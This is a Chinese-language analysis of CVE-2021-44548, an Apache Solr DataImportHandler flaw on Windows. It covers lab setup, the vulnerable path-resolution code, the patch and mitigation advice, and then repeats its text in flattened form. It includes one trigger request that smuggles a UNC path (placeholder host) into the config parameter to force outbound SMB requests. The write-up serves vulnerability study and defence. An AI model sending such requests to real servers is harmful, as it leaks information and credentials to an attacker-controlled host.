记一次失败的CVE-2021-44548分析
字数 1231 2025-08-29 08:30:36

CVE-2021-44548 Apache Solr UNC路径信息泄露漏洞分析

漏洞概述

CVE-2021-44548是Apache Solr DataImportHandler组件中的一个输入验证漏洞,允许攻击者提供Windows UNC路径,导致Solr主机向网络上的另一台主机发起SMB网络请求,可能造成信息泄露。

影响版本:Apache Solr < 8.11.1(仅影响Windows系统)

漏洞原理

漏洞存在于DataImportHandler的配置加载功能中,当处理show-config命令时,如果传入的config参数以\\开头(Windows UNC路径格式),Solr会尝试访问该UNC路径,从而向指定主机发起SMB请求。

环境搭建

  1. 启动Solr(带调试参数):

    ./solr.cmd start -p 8983 -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8988"
    
  2. 创建SolrCore:

    ./solr.cmd create_core -c core1
    
  3. 下载必要组件:

    • mysql-connector-java-5.1.42-bin.jar
    • solr-dataimporthandler-7.3.1.jar
    • solr-dataimporthandler-extras-7.3.1.jar
  4. 修改solrconfig.xml添加DataImportHandler配置:

    <requestHandler name="/dataimport" class="org.apache.solr.handler.dataimport.DataImportHandler">
      <lst name="defaults">
        <str name="config">data-config.xml</str>
      </lst>
    </requestHandler>
    
    <lib dir="D:\临时\Apache_Solr\solr-8.11.0\dist/" regex="mysql-connector-java-5.1.42-bin.jar" />
    <lib dir="D:\临时\Apache_Solr\solr-8.11.0\contrib/dataimporthandler/lib" regex=".*\.jar" />
    <lib dir="D:\临时\Apache_Solr\solr-8.11.0\contrib/dataimporthandler-extras/lib" regex=".*\.jar" />
    <lib dir="D:\临时\Apache_Solr\solr-8.11.0\dist/" regex="solr-dataimporthandler.*\.jar" />
    

漏洞分析

触发点

  1. 请求路由:

    http://localhost:8983/solr/core1/dataimport?_=1640242938294&command=reload-config&indent=on&wt=json
    
  2. 处理逻辑位于DataImportHandler#handleRequestBody

  3. 当传入command=show-configconfig参数不为空时,会调用openResource操作

关键代码路径

  1. SolrResourceLoader.openResource方法:

    • this.getInstancePath()获取路径(如D:\Apache_Solr\solr-8.11.0\server\solr\core1
    • 执行resolve("conf")变为D:\Apache_Solr\solr-8.11.0\server\solr\core1\conf
    • 执行resolve(resource)时,如果resource\\开头,WindowsPathType变为UNC
  2. resolve逻辑:

    • 判断WindowsPathType是否为绝对路径或UNC路径
    • 如果是则直接返回参数
    • 导致Files.exists会尝试访问UNC路径

漏洞利用

构造如下请求触发漏洞:

http://localhost:8983/solr/core1/dataimport?command=show-config&config=\\xxx\xxx

限制与防御

  1. 限制:

    • 只能读取SolrCore目录下的文件
    • 需要开启-Dsolr.allow.unsafe.resourceloading=true才能扩大影响
  2. 补丁修复:

    • 添加了对resource参数是否以\\开头的检查

总结

该漏洞虽然危害有限(仅能触发SMB请求和有限的文件读取),但揭示了Solr在处理路径时的安全问题。开发者应当:

  1. 对所有用户输入的路径参数进行严格验证
  2. 避免直接使用用户输入构造文件路径
  3. 及时更新到安全版本(8.11.1及以上)
CVE-2021-44548 Apache Solr UNC路径信息泄露漏洞分析 漏洞概述 CVE-2021-44548是Apache Solr DataImportHandler组件中的一个输入验证漏洞,允许攻击者提供Windows UNC路径,导致Solr主机向网络上的另一台主机发起SMB网络请求,可能造成信息泄露。 影响版本 :Apache Solr < 8.11.1(仅影响Windows系统) 漏洞原理 漏洞存在于DataImportHandler的配置加载功能中,当处理 show-config 命令时,如果传入的 config 参数以 \\ 开头(Windows UNC路径格式),Solr会尝试访问该UNC路径,从而向指定主机发起SMB请求。 环境搭建 启动Solr(带调试参数): 创建SolrCore: 下载必要组件: mysql-connector-java-5.1.42-bin.jar solr-dataimporthandler-7.3.1.jar solr-dataimporthandler-extras-7.3.1.jar 修改 solrconfig.xml 添加DataImportHandler配置: 漏洞分析 触发点 请求路由: 处理逻辑位于 DataImportHandler#handleRequestBody 当传入 command=show-config 且 config 参数不为空时,会调用 openResource 操作 关键代码路径 SolrResourceLoader.openResource 方法: this.getInstancePath() 获取路径(如 D:\Apache_Solr\solr-8.11.0\server\solr\core1 ) 执行 resolve("conf") 变为 D:\Apache_Solr\solr-8.11.0\server\solr\core1\conf 执行 resolve(resource) 时,如果 resource 以 \\ 开头, WindowsPathType 变为UNC resolve 逻辑: 判断 WindowsPathType 是否为绝对路径或UNC路径 如果是则直接返回参数 导致 Files.exists 会尝试访问UNC路径 漏洞利用 构造如下请求触发漏洞: 限制与防御 限制: 只能读取SolrCore目录下的文件 需要开启 -Dsolr.allow.unsafe.resourceloading=true 才能扩大影响 补丁修复: 添加了对 resource 参数是否以 \\ 开头的检查 总结 该漏洞虽然危害有限(仅能触发SMB请求和有限的文件读取),但揭示了Solr在处理路径时的安全问题。开发者应当: 对所有用户输入的路径参数进行严格验证 避免直接使用用户输入构造文件路径 及时更新到安全版本(8.11.1及以上)